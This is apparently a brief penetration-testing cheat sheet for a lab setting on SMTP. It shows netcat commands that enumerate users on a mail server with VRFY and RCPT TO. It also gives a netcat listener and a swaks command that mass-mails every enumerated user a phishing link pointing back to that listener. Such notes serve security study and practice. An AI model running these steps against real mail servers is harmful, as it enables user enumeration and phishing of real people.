SMTP is a mail protocol, which is used to enumerate users and send phising maills to the existing user
User Enumeration
Manual
nc 10.10.10.10 25
<banner> # check for vulnerability with banner
HELO # start the connection
ELHO all
VRFY root # verify root user
mail from: dn@oscp # attacker mail
rcpt to: root@localhost # verify user with recipient
# listen on the port
nc -lvnp 1234
# send mail to all the users with swaks
swaks --to $(cat files/mailuers.txt | tr '\n' ',' | less) --from dnoscp@oscp.htb --header "Subject: test" --body "please click here http://10.10.14.2:1234/" --server $ip